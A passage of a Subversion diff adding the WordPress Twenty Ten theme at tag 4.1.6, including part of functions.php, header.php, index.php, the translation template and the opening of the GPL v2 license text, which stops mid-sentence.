+ * @since Twenty Ten 1.0
+ *
+ * @param array $args An optional array of arguments. @see wp_page_menu()
+ */
+function twentyten_page_menu_args( $args ) {
+	if ( ! isset( $args['show_home'] ) )
+		$args['show_home'] = true;
+	return $args;
+}
+add_filter( 'wp_page_menu_args', 'twentyten_page_menu_args' );
+
+/**
+ * Set the post excerpt length to 40 characters.
+ *
+ * To override this length in a child theme, remove the filter and add your own
+ * function tied to the excerpt_length filter hook.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @param int $length The number of excerpt characters.
+ * @return int The filtered number of excerpt characters.
+ */
+function twentyten_excerpt_length( $length ) {
+	return 40;
+}
+add_filter( 'excerpt_length', 'twentyten_excerpt_length' );
+
+if ( ! function_exists( 'twentyten_continue_reading_link' ) ) :
+/**
+ * Return a "Continue Reading" link for excerpts.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @return string "Continue Reading" link.
+ */
+function twentyten_continue_reading_link() {
+	return ' <a href="'. get_permalink() . '">' . __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyten' ) . '</a>';
+}
+endif;
+
+/**
+ * Replace "[...]" with an ellipsis and twentyten_continue_reading_link().
+ *
+ * "[...]" is appended to automatically generated excerpts.
+ *
+ * To override this in a child theme, remove the filter and add your own
+ * function tied to the excerpt_more filter hook.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @param string $more The Read More text.
+ * @return string An ellipsis.
+ */
+function twentyten_auto_excerpt_more( $more ) {
+	if ( ! is_admin() ) {
+		return ' &hellip;' . twentyten_continue_reading_link();
+	}
+	return $more;
+}
+add_filter( 'excerpt_more', 'twentyten_auto_excerpt_more' );
+
+/**
+ * Add a pretty "Continue Reading" link to custom post excerpts.
+ *
+ * To override this link in a child theme, remove the filter and add your own
+ * function tied to the get_the_excerpt filter hook.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @param string $output The "Coninue Reading" link.
+ * @return string Excerpt with a pretty "Continue Reading" link.
+ */
+function twentyten_custom_excerpt_more( $output ) {
+	if ( has_excerpt() && ! is_attachment() && ! is_admin() ) {
+		$output .= twentyten_continue_reading_link();
+	}
+	return $output;
+}
+add_filter( 'get_the_excerpt', 'twentyten_custom_excerpt_more' );
+
+/**
+ * Remove inline styles printed when the gallery shortcode is used.
+ *
+ * Galleries are styled by the theme in Twenty Ten's style.css. This is just
+ * a simple filter call that tells WordPress to not use the default styles.
+ *
+ * @since Twenty Ten 1.2
+ */
+add_filter( 'use_default_gallery_style', '__return_false' );
+
+/**
+ * Deprecated way to remove inline styles printed when the gallery shortcode is used.
+ *
+ * This function is no longer needed or used. Use the use_default_gallery_style
+ * filter instead, as seen above.
+ *
+ * @since Twenty Ten 1.0
+ * @deprecated Deprecated in Twenty Ten 1.2 for WordPress 3.1
+ *
+ * @return string The gallery style filter, with the styles themselves removed.
+ */
+function twentyten_remove_gallery_css( $css ) {
+	return preg_replace( "#<style type='text/css'>(.*?)</style>#s", '', $css );
+}
+// Backwards compatibility with WordPress 3.0.
+if ( version_compare( $GLOBALS['wp_version'], '3.1', '<' ) )
+	add_filter( 'gallery_style', 'twentyten_remove_gallery_css' );
+
+if ( ! function_exists( 'twentyten_comment' ) ) :
+/**
+ * Template for comments and pingbacks.
+ *
+ * To override this walker in a child theme without modifying the comments template
+ * simply create your own twentyten_comment(), and that function will be used instead.
+ *
+ * Used as a callback by wp_list_comments() for displaying the comments.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @param object $comment The comment object.
+ * @param array  $args    An array of arguments. @see get_comment_reply_link()
+ * @param int    $depth   The depth of the comment.
+ */
+function twentyten_comment( $comment, $args, $depth ) {
+	$GLOBALS['comment'] = $comment;
+	switch ( $comment->comment_type ) :
+		case '' :
+	?>
+	<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
+		<div id="comment-<?php comment_ID(); ?>">
+			<div class="comment-author vcard">
+				<?php echo get_avatar( $comment, 40 ); ?>
+				<?php printf( __( '%s <span class="says">says:</span>', 'twentyten' ), sprintf( '<cite class="fn">%s</cite>', get_comment_author_link() ) ); ?>
+			</div><!-- .comment-author .vcard -->
+			<?php if ( $comment->comment_approved == '0' ) : ?>
+				<em class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'twentyten' ); ?></em>
+				<br />
+			<?php endif; ?>
+
+			<div class="comment-meta commentmetadata"><a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ); ?>">
+				<?php
+					/* translators: 1: date, 2: time */
+					printf( __( '%1$s at %2$s', 'twentyten' ), get_comment_date(),  get_comment_time() ); ?></a><?php edit_comment_link( __( '(Edit)', 'twentyten' ), ' ' );
+				?>
+			</div><!-- .comment-meta .commentmetadata -->
+
+			<div class="comment-body"><?php comment_text(); ?></div>
+
+			<div class="reply">
+				<?php comment_reply_link( array_merge( $args, array( 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
+			</div><!-- .reply -->
+		</div><!-- #comment-##  -->
+
+	<?php
+			break;
+		case 'pingback'  :
+		case 'trackback' :
+	?>
+	<li class="post pingback">
+		<p><?php _e( 'Pingback:', 'twentyten' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __( '(Edit)', 'twentyten' ), ' ' ); ?></p>
+	<?php
+			break;
+	endswitch;
+}
+endif;
+
+/**
+ * Register widgetized areas, including two sidebars and four widget-ready columns in the footer.
+ *
+ * To override twentyten_widgets_init() in a child theme, remove the action hook and add your own
+ * function tied to the init hook.
+ *
+ * @since Twenty Ten 1.0
+ *
+ * @uses register_sidebar()
+ */
+function twentyten_widgets_init() {
+	// Area 1, located at the top of the sidebar.
+	register_sidebar( array(
+		'name' => __( 'Primary Widget Area', 'twentyten' ),
+		'id' => 'primary-widget-area',
+		'description' => __( 'Add widgets here to appear in your sidebar.', 'twentyten' ),
+		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	// Area 2, located below the Primary Widget Area in the sidebar. Empty by default.
+	register_sidebar( array(
+		'name' => __( 'Secondary Widget Area', 'twentyten' ),
+		'id' => 'secondary-widget-area',
+		'description' => __( 'An optional secondary widget area, displays below the primary widget area in your sidebar.', 'twentyten' ),
+		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	// Area 3, located in the footer. Empty by default.
+	register_sidebar( array(
+		'name' => __( 'First Footer Widget Area', 'twentyten' ),
+		'id' => 'first-footer-widget-area',
+		'description' => __( 'An optional widget area for your site footer.', 'twentyten' ),
+		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	// Area 4, located in the footer. Empty by default.
+	register_sidebar( array(
+		'name' => __( 'Second Footer Widget Area', 'twentyten' ),
+		'id' => 'second-footer-widget-area',
+		'description' => __( 'An optional widget area for your site footer.', 'twentyten' ),
+		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	// Area 5, located in the footer. Empty by default.
+	register_sidebar( array(
+		'name' => __( 'Third Footer Widget Area', 'twentyten' ),
+		'id' => 'third-footer-widget-area',
+		'description' => __( 'An optional widget area for your site footer.', 'twentyten' ),
+		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	// Area 6, located in the footer. Empty by default.
+	register_sidebar( array(
+		'name' => __( 'Fourth Footer Widget Area', 'twentyten' ),
+		'id' => 'fourth-footer-widget-area',
+		'description' => __( 'An optional widget area for your site footer.', 'twentyten' ),
+		'before_widget' => '<li id="%1$s" class="widget-container %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+}
+/** Register sidebars by running twentyten_widgets_init() on the widgets_init hook. */
+add_action( 'widgets_init', 'twentyten_widgets_init' );
+
+/**
+ * Remove the default styles that are packaged with the Recent Comments widget.
+ *
+ * To override this in a child theme, remove the filter and optionally add your own
+ * function tied to the widgets_init action hook.
+ *
+ * This function uses a filter (show_recent_comments_widget_style) new in WordPress 3.1
+ * to remove the default style. Using Twenty Ten 1.2 in WordPress 3.0 will show the styles,
+ * but they won't have any effect on the widget in default Twenty Ten styling.
+ *
+ * @since Twenty Ten 1.0
+ */
+function twentyten_remove_recent_comments_style() {
+	add_filter( 'show_recent_comments_widget_style', '__return_false' );
+}
+add_action( 'widgets_init', 'twentyten_remove_recent_comments_style' );
+
+if ( ! function_exists( 'twentyten_posted_on' ) ) :
+/**
+ * Print HTML with meta information for the current post-date/time and author.
+ *
+ * @since Twenty Ten 1.0
+ */
+function twentyten_posted_on() {
+	printf( __( '<span class="%1$s">Posted on</span> %2$s <span class="meta-sep">by</span> %3$s', 'twentyten' ),
+		'meta-prep meta-prep-author',
+		sprintf( '<a href="%1$s" title="%2$s" rel="bookmark"><span class="entry-date">%3$s</span></a>',
+			get_permalink(),
+			esc_attr( get_the_time() ),
+			get_the_date()
+		),
+		sprintf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s">%3$s</a></span>',
+			get_author_posts_url( get_the_author_meta( 'ID' ) ),
+			esc_attr( sprintf( __( 'View all posts by %s', 'twentyten' ), get_the_author() ) ),
+			get_the_author()
+		)
+	);
+}
+endif;
+
+if ( ! function_exists( 'twentyten_posted_in' ) ) :
+/**
+ * Print HTML with meta information for the current post (category, tags and permalink).
+ *
+ * @since Twenty Ten 1.0
+ */
+function twentyten_posted_in() {
+	// Retrieves tag list of current post, separated by commas.
+	$tag_list = get_the_tag_list( '', ', ' );
+	if ( $tag_list ) {
+		$posted_in = __( 'This entry was posted in %1$s and tagged %2$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyten' );
+	} elseif ( is_object_in_taxonomy( get_post_type(), 'category' ) ) {
+		$posted_in = __( 'This entry was posted in %1$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyten' );
+	} else {
+		$posted_in = __( 'Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyten' );
+	}
+	// Prints the string, replacing the placeholders.
+	printf(
+		$posted_in,
+		get_the_category_list( ', ' ),
+		$tag_list,
+		get_permalink(),
+		the_title_attribute( 'echo=0' )
+	);
+}
+endif;
+
+/**
+ * Retrieve the IDs for images in a gallery.
+ *
+ * @uses get_post_galleries() First, if available. Falls back to shortcode parsing,
+ *                            then as last option uses a get_posts() call.
+ *
+ * @since Twenty Ten 1.6.
+ *
+ * @return array List of image IDs from the post gallery.
+ */
+function twentyten_get_gallery_images() {
+	$images = array();
+
+	if ( function_exists( 'get_post_galleries' ) ) {
+		$galleries = get_post_galleries( get_the_ID(), false );
+		if ( isset( $galleries[0]['ids'] ) )
+		 	$images = explode( ',', $galleries[0]['ids'] );
+	} else {
+		$pattern = get_shortcode_regex();
+		preg_match( "/$pattern/s", get_the_content(), $match );
+		$atts = shortcode_parse_atts( $match[3] );
+		if ( isset( $atts['ids'] ) )
+			$images = explode( ',', $atts['ids'] );
+	}
+
+	if ( ! $images ) {
+		$images = get_posts( array(
+			'fields'         => 'ids',
+			'numberposts'    => 999,
+			'order'          => 'ASC',
+			'orderby'        => 'menu_order',
+			'post_mime_type' => 'image',
+			'post_parent'    => get_the_ID(),
+			'post_type'      => 'attachment',
+		) );
+	}
+
+	return $images;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyten/header.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/header.php	(revision 33402)
@@ -0,0 +1,112 @@
+<?php
+/**
+ * Header template for our theme
+ *
+ * Displays all of the <head> section and everything up till <div id="main">.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+?><!DOCTYPE html>
+<html <?php language_attributes(); ?>>
+<head>
+<meta charset="<?php bloginfo( 'charset' ); ?>" />
+<title><?php
+	/*
+	 * Print the <title> tag based on what is being viewed.
+	 */
+	global $page, $paged;
+
+	wp_title( '|', true, 'right' );
+
+	// Add the blog name.
+	bloginfo( 'name' );
+
+	// Add the blog description for the home/front page.
+	$site_description = get_bloginfo( 'description', 'display' );
+	if ( $site_description && ( is_home() || is_front_page() ) )
+		echo " | $site_description";
+
+	// Add a page number if necessary:
+	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() )
+		echo ' | ' . sprintf( __( 'Page %s', 'twentyten' ), max( $paged, $page ) );
+
+	?></title>
+<link rel="profile" href="http://gmpg.org/xfn/11" />
+<link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo( 'stylesheet_url' ); ?>" />
+<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
+<?php
+	/*
+	 * We add some JavaScript to pages with the comment form
+	 * to support sites with threaded comments (when in use).
+	 */
+	if ( is_singular() && get_option( 'thread_comments' ) )
+		wp_enqueue_script( 'comment-reply' );
+
+	/*
+	 * Always have wp_head() just before the closing </head>
+	 * tag of your theme, or you will break many plugins, which
+	 * generally use this hook to add elements to <head> such
+	 * as styles, scripts, and meta tags.
+	 */
+	wp_head();
+?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="wrapper" class="hfeed">
+	<div id="header">
+		<div id="masthead">
+			<div id="branding" role="banner">
+				<?php $heading_tag = ( is_home() || is_front_page() ) ? 'h1' : 'div'; ?>
+				<<?php echo $heading_tag; ?> id="site-title">
+					<span>
+						<a href="<?php echo home_url( '/' ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a>
+					</span>
+				</<?php echo $heading_tag; ?>>
+				<div id="site-description"><?php bloginfo( 'description' ); ?></div>
+
+				<?php
+					// Compatibility with versions of WordPress prior to 3.4.
+					if ( function_exists( 'get_custom_header' ) ) {
+						/*
+						 * We need to figure out what the minimum width should be for our featured image.
+						 * This result would be the suggested width if the theme were to implement flexible widths.
+						 */
+						$header_image_width = get_theme_support( 'custom-header', 'width' );
+					} else {
+						$header_image_width = HEADER_IMAGE_WIDTH;
+					}
+
+					// Check if this is a post or page, if it has a thumbnail, and if it's a big one
+					if ( is_singular() && current_theme_supports( 'post-thumbnails' ) &&
+							has_post_thumbnail( $post->ID ) &&
+							( /* $src, $width, $height */ $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'post-thumbnail' ) ) &&
+							$image[1] >= $header_image_width ) :
+						// Houston, we have a new header image!
+						echo get_the_post_thumbnail( $post->ID );
+					elseif ( get_header_image() ) :
+						// Compatibility with versions of WordPress prior to 3.4.
+						if ( function_exists( 'get_custom_header' ) ) {
+							$header_image_width  = get_custom_header()->width;
+							$header_image_height = get_custom_header()->height;
+						} else {
+							$header_image_width  = HEADER_IMAGE_WIDTH;
+							$header_image_height = HEADER_IMAGE_HEIGHT;
+						}
+					?>
+						<img src="<?php header_image(); ?>" width="<?php echo $header_image_width; ?>" height="<?php echo $header_image_height; ?>" alt="" />
+					<?php endif; ?>
+			</div><!-- #branding -->
+
+			<div id="access" role="navigation">
+			  <?php /* Allow screen readers / text browsers to skip the navigation menu and get right to the good stuff */ ?>
+				<div class="skip-link screen-reader-text"><a href="#content" title="<?php esc_attr_e( 'Skip to content', 'twentyten' ); ?>"><?php _e( 'Skip to content', 'twentyten' ); ?></a></div>
+				<?php /* Our navigation menu. If one isn't filled out, wp_nav_menu falls back to wp_page_menu. The menu assiged to the primary position is the one used. If none is assigned, the menu with the lowest ID is used. */ ?>
+				<?php wp_nav_menu( array( 'container_class' => 'menu-header', 'theme_location' => 'primary' ) ); ?>
+			</div><!-- #access -->
+		</div><!-- #masthead -->
+	</div><!-- #header -->
+
+	<div id="main">
Index: /tags/4.1.6/src/wp-content/themes/twentyten/index.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/index.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/index.php	(revision 33402)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Main template file
+ *
+ * This is the most generic template file in a WordPress theme
+ * and one of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * E.g., it puts together the home page when no home.php file exists.
+ * Learn more: http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Ten
+ * @since Twenty Ten 1.0
+ */
+
+get_header(); ?>
+
+		<div id="container">
+			<div id="content" role="main">
+
+			<?php
+			/*
+			 * Run the loop to output the posts.
+			 * If you want to overload this in a child theme then include a file
+			 * called loop-index.php and that will be used instead.
+			 */
+			 get_template_part( 'loop', 'index' );
+			?>
+			</div><!-- #content -->
+		</div><!-- #container -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyten/languages/twentyten.pot
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/languages/twentyten.pot	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/languages/twentyten.pot	(revision 33402)
@@ -0,0 +1,409 @@
+# Copyright (C) 2014 the WordPress team
+# This file is distributed under the GNU General Public License v2 or later.
+msgid ""
+msgstr ""
+"Project-Id-Version: Twenty Ten 1.8\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tags/twentyten\n"
+"POT-Creation-Date: 2014-12-18 16:59:47+00:00\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"PO-Revision-Date: 2014-MO-DA HO:MI+ZONE\n"
+"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
+"Language-Team: LANGUAGE <LL@li.org>\n"
+
+#: 404.php:16 loop.php:33
+msgid "Not Found"
+msgstr ""
+
+#: 404.php:18
+msgid ""
+"Apologies, but the page you requested could not be found. Perhaps searching "
+"will help."
+msgstr ""
+
+#: archive.php:34
+msgid "Daily Archives: <span>%s</span>"
+msgstr ""
+
+#: archive.php:36
+msgid "Monthly Archives: <span>%s</span>"
+msgstr ""
+
+#: archive.php:36
+msgctxt "monthly archives date format"
+msgid "F Y"
+msgstr ""
+
+#: archive.php:38
+msgid "Yearly Archives: <span>%s</span>"
+msgstr ""
+
+#: archive.php:38
+msgctxt "yearly archives date format"
+msgid "Y"
+msgstr ""
+
+#: archive.php:40
+msgid "Blog Archives"
+msgstr ""
+
+#: author.php:28
+msgid "Author Archives: %s"
+msgstr ""
+
+#: author.php:47 loop-single.php:46
+msgid "About %s"
+msgstr ""
+
+#: category.php:16
+msgid "Category Archives: %s"
+msgstr ""
+
+#: comments.php:18
+msgid ""
+"This post is password protected. Enter the password to view any comments."
+msgstr ""
+
+#: comments.php:36
+msgid "One Response to %2$s"
+msgid_plural "%1$s Responses to %2$s"
+msgstr[0] ""
+msgstr[1] ""
+
+#: comments.php:42 comments.php:62
+msgid "<span class=\"meta-nav\">&larr;</span> Older Comments"
+msgstr ""
+
+#: comments.php:43 comments.php:63
+msgid "Newer Comments <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: comments.php:73
+msgid "Comments are closed."
+msgstr ""
+
+#. #-#-#-#-#  twentyten.pot (Twenty Ten 1.8)  #-#-#-#-#
+#. Author URI of the plugin/theme
+#: footer.php:40
+msgid "http://wordpress.org/"
+msgstr ""
+
+#: footer.php:40
+msgid "Semantic Personal Publishing Platform"
+msgstr ""
+
+#: footer.php:40
+msgid "Proudly powered by %s."
+msgstr ""
+
+#: functions.php:95
+msgid "Primary Navigation"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:165
+msgid "Berries"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:171
+msgid "Cherry Blossoms"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:177
+msgid "Concave"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:183
+msgid "Fern"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:189
+msgid "Forest Floor"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:195
+msgid "Inkwell"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:201
+msgid "Path"
+msgstr ""
+
+#. translators: header image description
+#: functions.php:207
+msgid "Sunset"
+msgstr ""
+
+#: functions.php:280 loop-attachment.php:119 loop.php:116 loop.php:144
+msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: functions.php:376
+msgid "%s <span class=\"says\">says:</span>"
+msgstr ""
+
+#: functions.php:379
+msgid "Your comment is awaiting moderation."
+msgstr ""
+
+#. translators: 1: date, 2: time
+#: functions.php:386
+msgid "%1$s at %2$s"
+msgstr ""
+
+#: functions.php:386 functions.php:403
+msgid "(Edit)"
+msgstr ""
+
+#: functions.php:403
+msgid "Pingback:"
+msgstr ""
+
+#: functions.php:423
+msgid "Primary Widget Area"
+msgstr ""
+
+#: functions.php:425
+msgid "Add widgets here to appear in your sidebar."
+msgstr ""
+
+#: functions.php:434
+msgid "Secondary Widget Area"
+msgstr ""
+
+#: functions.php:436
+msgid ""
+"An optional secondary widget area, displays below the primary widget area in "
+"your sidebar."
+msgstr ""
+
+#: functions.php:445
+msgid "First Footer Widget Area"
+msgstr ""
+
+#: functions.php:447 functions.php:458 functions.php:469 functions.php:480
+msgid "An optional widget area for your site footer."
+msgstr ""
+
+#: functions.php:456
+msgid "Second Footer Widget Area"
+msgstr ""
+
+#: functions.php:467
+msgid "Third Footer Widget Area"
+msgstr ""
+
+#: functions.php:478
+msgid "Fourth Footer Widget Area"
+msgstr ""
+
+#: functions.php:514
+msgid ""
+"<span class=\"%1$s\">Posted on</span> %2$s <span class=\"meta-sep\">by</"
+"span> %3$s"
+msgstr ""
+
+#: functions.php:523 loop-attachment.php:36
+msgid "View all posts by %s"
+msgstr ""
+
+#: functions.php:540
+msgid ""
+"This entry was posted in %1$s and tagged %2$s. Bookmark the <a href=\"%3$s\" "
+"title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: functions.php:542
+msgid ""
+"This entry was posted in %1$s. Bookmark the <a href=\"%3$s\" title="
+"\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
+msgstr ""
+
+#: functions.php:544
+msgid ""
+"Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark"
+"\">permalink</a>."
+msgstr ""
+
+#: header.php:33
+msgid "Page %s"
+msgstr ""
+
+#: header.php:105
+msgid "Skip to content"
+msgstr ""
+
+#: loop-attachment.php:21
+msgid "Return to %s"
+msgstr ""
+
+#. translators: %s - title of parent post
+#: loop-attachment.php:23
+msgid "<span class=\"meta-nav\">&larr;</span> %s"
+msgstr ""
+
+#: loop-attachment.php:32
+msgid "<span class=\"%1$s\">By</span> %2$s"
+msgstr ""
+
+#: loop-attachment.php:43
+msgid "<span class=\"%1$s\">Published</span> %2$s"
+msgstr ""
+
+#: loop-attachment.php:53
+msgid "Full size is %s pixels"
+msgstr ""
+
+#: loop-attachment.php:56
+msgid "Link to full-size image"
+msgstr ""
+
+#: loop-attachment.php:63 loop-attachment.php:126 loop-page.php:30
+#: loop-single.php:59 loop.php:101 loop.php:124 loop.php:166
+msgid "Edit"
+msgstr ""
+
+#: loop-attachment.php:120 loop-page.php:29 loop-single.php:34 loop.php:145
+msgid "Pages:"
+msgstr ""
+
+#: loop-single.php:21 loop-single.php:64
+msgctxt "Previous post link"
+msgid "&larr;"
+msgstr ""
+
+#: loop-single.php:22 loop-single.php:65
+msgctxt "Next post link"
+msgid "&rarr;"
+msgstr ""
+
+#: loop-single.php:50
+msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: loop.php:25 loop.php:179
+msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
+msgstr ""
+
+#: loop.php:26 loop.php:180
+msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: loop.php:35
+msgid ""
+"Apologies, but no results were found for the requested archive. Perhaps "
+"searching will help find a related post."
+msgstr ""
+
+#: loop.php:62 loop.php:96
+msgctxt "gallery category slug"
+msgid "gallery"
+msgstr ""
+
+#: loop.php:83
+msgid "This gallery contains <a %1$s>%2$s photo</a>."
+msgid_plural "This gallery contains <a %1$s>%2$s photos</a>."
+msgstr[0] ""
+msgstr[1] ""
+
+#: loop.php:84
+msgid "Permalink to %s"
+msgstr ""
+
+#: loop.php:94
+msgid "View Galleries"
+msgstr ""
+
+#: loop.php:94 loop.php:97
+msgid "More Galleries"
+msgstr ""
+
+#: loop.php:97
+msgid "View posts in the Gallery category"
+msgstr ""
+
+#: loop.php:100 loop.php:123 loop.php:165
+msgid "Leave a comment"
+msgstr ""
+
+#: loop.php:100 loop.php:123 loop.php:165
+msgid "1 Comment"
+msgstr ""
+
+#: loop.php:100 loop.php:123 loop.php:165
+msgid "% Comments"
+msgstr ""
+
+#: loop.php:107
+msgctxt "asides category slug"
+msgid "asides"
+msgstr ""
+
+#: loop.php:152
+msgid "<span class=\"%1$s\">Posted in</span> %2$s"
+msgstr ""
+
+#: loop.php:161
+msgid "<span class=\"%1$s\">Tagged</span> %2$s"
+msgstr ""
+
+#: search.php:16
+msgid "Search Results for: %s"
+msgstr ""
+
+#: search.php:27
+msgid "Nothing Found"
+msgstr ""
+
+#: search.php:29
+msgid ""
+"Sorry, but nothing matched your search criteria. Please try again with some "
+"different keywords."
+msgstr ""
+
+#: sidebar.php:28
+msgid "Archives"
+msgstr ""
+
+#: sidebar.php:35
+msgid "Meta"
+msgstr ""
+
+#: tag.php:16
+msgid "Tag Archives: %s"
+msgstr ""
+
+#. Theme Name of the plugin/theme
+msgid "Twenty Ten"
+msgstr ""
+
+#. Theme URI of the plugin/theme
+msgid "http://wordpress.org/themes/twentyten"
+msgstr ""
+
+#. Description of the plugin/theme
+msgid ""
+"The 2010 theme for WordPress is stylish, customizable, simple, and readable "
+"-- make it yours with a custom menu, header image, and background. Twenty "
+"Ten supports six widgetized areas (two in the sidebar, four in the footer) "
+"and featured images (thumbnails for gallery posts and custom header images "
+"for posts and pages). It includes stylesheets for print and the admin Visual "
+"Editor, special styles for posts in the \"Asides\" and \"Gallery\" "
+"categories, and has an optional one-column page template that removes the "
+"sidebar."
+msgstr ""
+
+#. Author of the plugin/theme
+msgid "the WordPress team"
+msgstr ""
+
+#. Template Name of the plugin/theme
+msgid "One column, no sidebar"
+msgstr ""
Index: /tags/4.1.6/src/wp-content/themes/twentyten/license.txt
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyten/license.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyten/license.txt	(revision 33402)
@@ -0,0 +1,281 @@
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc. 
+              51 Franklin St, Fifth Floor, Boston, MA 02110, USA
+
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
